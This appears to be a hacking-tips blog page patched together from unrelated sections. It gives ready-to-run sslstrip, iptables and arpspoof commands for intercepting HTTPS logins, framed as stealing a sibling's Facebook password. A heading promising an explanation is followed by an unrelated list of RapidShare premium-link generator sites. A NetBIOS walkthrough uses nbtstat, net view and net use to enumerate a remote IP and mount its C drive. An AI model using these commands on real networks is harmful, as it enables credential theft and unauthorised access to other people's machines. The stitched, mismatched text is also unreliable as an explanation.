What is SSL Strip?

SSL strip is a software that is used to sniff the data over HTTPS. The sniffer read all the data in a network with 9is send between a user and the Router but no a days SSH or "HTTPS" have made it very difficult to get useful data (Like Facebook Password of your brother in other room). So here is a tools that can even intercept the data over HTTPS.

Running sslstrip

• Flip your machine into forwarding mode. (echo "1" > /proc/sys/net/ipv4/ip_forward)
• Setup iptables to redirect HTTP traffic to sslstrip. (iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port <listenPort>)
• Run sslstrip. (sslstrip.py -l <listenPort>)
• Run arpspoof to convince a network they should send their traffic to you. (arpspoof -i <interface> -t <targetIP> <gatewayIP>)

How does this work?

Every one living with a internet connection surely know about the Rapid Share website that contains millions of files to be downloaded for free. But the main Problem with this Service is That a free user don’t gets the High speed like Premium account. So I have written this Article to tell all the Rapid Share users a way to download files at High Speed.

The Following is the List of Websites that generate the Rapid Share premium links without money.

1: www.rslinkgens.info
2: fastnfree4u.net
3: nbe-media.net
4: rsfox.com
5: oopar.com
6: Rapidshare premium link generator (http://www.vincentchow.net/506/rapidshare-premium-link-generator)
7: Rapidfile.us
8: freerapid.org
9: rapid8.com
10: http://www.premium4me.com/rapid.html

NetBIOS stands for "Network Basic Input Output System".
It was originally developed by IBM and Sytek as an Application Programming Interface (API) for client software to access LAN resources.
By default it runs on port 139.
NetBIOS gives the various information of the computers on a network, which includes computer name, username, domain, group, and many others.....!

The NBTSTAT Command :-
NBTSTAT is the command for manually interact with NetBIOS Over TCP/IP.
All the attributes (switches) used with nbtstat command and their usage can be viewed.
At the command prompt type-

C:\Windows>nbtstat








Sample NBTSTAT Response :-


C:\>nbtstat -A 117.200.160.174


NetBIOS Remote Machine Name Table
Name Type Status
----------------------------------------------
PRASANNA <00> UNIQUE Registered
INSECURE LABS <00> GROUP Registered
PRASANNA <03> UNIQUE Registered
PRASANNA <20> UNIQUE Registered
INSECURE LABS <1e> GROUP Registered




MAC Address = 86-95-55-50-00-00




An intruder could use the output from an nbtstat against your machines to begin gathering information about them.


"<03> in above table is nothing but the username of that system."

The next step for an intruder would be to try and list the open shares on the given computer, using the net view command.
Here is an example of the Net View command-

C:\>net view \\117.200.160.174
Shared resources at \\117.200.160.174
Sharename Type Comment
----------------------------------------
C Disk Drive C:\
MySofts Disk My Softwares Collection
E Disk Drive E:\


The command was completed successfully.


This information would give the intruder a list of shares which he would then use in conjunction with the Net Use command, a command used to enable a computer to map a share to it’s local drive, below is an example of how an intruder would map the C Share to a local G: drive, which he could then browse...!


C:\>net use G: \\117.200.160.174\C
The command was completed successfully.


C:\>G:


G:\>